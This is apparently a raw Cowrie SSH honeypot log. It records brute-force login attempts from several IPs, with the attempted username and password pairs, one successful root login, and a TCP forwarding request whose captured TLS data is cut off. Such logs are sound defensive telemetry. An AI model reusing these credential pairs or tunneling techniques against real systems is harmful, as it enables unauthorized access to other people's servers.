{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:58.077906Z","src_ip":"2.57.122.210","session":"6fcb32b39921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:58.392443Z","src_ip":"2.57.122.210","session":"6fcb32b39921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:59.495169Z","src_ip":"2.57.122.210","session":"6fcb32b39921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":35724,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ed48e723f6f","protocol":"ssh","message":"New connection: 118.219.234.233:35724 (10.17.0.5:22) [session: 3ed48e723f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:45:37.294129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:45:37.298513Z","src_ip":"118.219.234.233","session":"3ed48e723f6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:45:37.482094Z","src_ip":"118.219.234.233","session":"3ed48e723f6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"12345","message":"login attempt [user01/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:45:38.248459Z","src_ip":"118.219.234.233","session":"3ed48e723f6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:45:39.434422Z","src_ip":"118.219.234.233","session":"3ed48e723f6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":32944,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e7c26dca415","protocol":"ssh","message":"New connection: 193.32.162.145:32944 (10.17.0.5:22) [session: 8e7c26dca415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:45:50.056480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:45:50.076593Z","src_ip":"193.32.162.145","session":"8e7c26dca415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:45:50.198682Z","src_ip":"193.32.162.145","session":"8e7c26dca415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:45:50.643601Z","src_ip":"193.32.162.145","session":"8e7c26dca415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:45:51.740270Z","src_ip":"193.32.162.145","session":"8e7c26dca415","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":48998,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c8b09901007","protocol":"ssh","message":"New connection: 157.10.160.221:48998 (10.17.0.5:22) [session: 2c8b09901007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:46:14.284034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:46:14.288645Z","src_ip":"157.10.160.221","session":"2c8b09901007","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:46:14.530796Z","src_ip":"157.10.160.221","session":"2c8b09901007","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"comunicacao","password":"123456","message":"login attempt [comunicacao/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:46:15.534055Z","src_ip":"157.10.160.221","session":"2c8b09901007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:46:16.777622Z","src_ip":"157.10.160.221","session":"2c8b09901007","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":53948,"dst_ip":"159.203.135.109","dst_port":22,"session":"8272ea89850a","protocol":"ssh","message":"New connection: 92.118.39.72:53948 (159.203.135.109:22) [session: 8272ea89850a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:07.409197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:07.413157Z","src_ip":"92.118.39.72","session":"8272ea89850a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:07.543704Z","src_ip":"92.118.39.72","session":"8272ea89850a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:07.963561Z","src_ip":"92.118.39.72","session":"8272ea89850a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:09.072473Z","src_ip":"92.118.39.72","session":"8272ea89850a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":59482,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cbd44914a5a","protocol":"ssh","message":"New connection: 2.57.122.210:59482 (159.203.135.109:22) [session: 5cbd44914a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:09.362976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:09.366983Z","src_ip":"2.57.122.210","session":"5cbd44914a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:09.479941Z","src_ip":"2.57.122.210","session":"5cbd44914a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"solana","message":"login attempt [ubnt/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:09.791198Z","src_ip":"2.57.122.210","session":"5cbd44914a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:10.897096Z","src_ip":"2.57.122.210","session":"5cbd44914a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":35980,"dst_ip":"10.17.0.5","dst_port":22,"session":"072663bdbd1b","protocol":"ssh","message":"New connection: 77.90.185.17:35980 (10.17.0.5:22) [session: 072663bdbd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:14.017166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:14.021645Z","src_ip":"77.90.185.17","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:14.119748Z","src_ip":"77.90.185.17","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":42464,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b92d6b0c619","protocol":"ssh","message":"New connection: 150.5.169.138:42464 (10.17.0.5:22) [session: 7b92d6b0c619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:14.148776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:14.153006Z","src_ip":"150.5.169.138","session":"7b92d6b0c619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:14.367103Z","src_ip":"150.5.169.138","session":"7b92d6b0c619","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin123","message":"login attempt [root/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:14.607718Z","src_ip":"77.90.185.17","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.48.247.5","dst_port":443,"src_ip":"77.90.185.17","src_port":59388,"message":"direct-tcp connection request to 52.48.247.5:443 from 127.0.0.1:59388","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:15.034350Z","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"icecast","password":"123456","message":"login attempt [icecast/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:15.259293Z","src_ip":"150.5.169.138","session":"7b92d6b0c619","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.48.247.5","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.48.247.5:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:15.289947Z","src_ip":"77.90.185.17","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.48.247.5","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcae\\xd6\\tj~\\x80v\\xf5@\\x85g$T\\x12V\\xdd\\x1a\\x05\\xd4\\x11#\\xe9d\\x11\\xd7\\x16\\xcat\\x89\\xf8\\xf3 1g\\xf1N\\x8e\\xf11\\r\\xdd\\xfd\\xb2\\xb1\\xb1\\xe0no?e\\xae]\\xfe\\xeec\\x8d\\x03\\xc4\\xfc\\x8amR/\\x0f\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\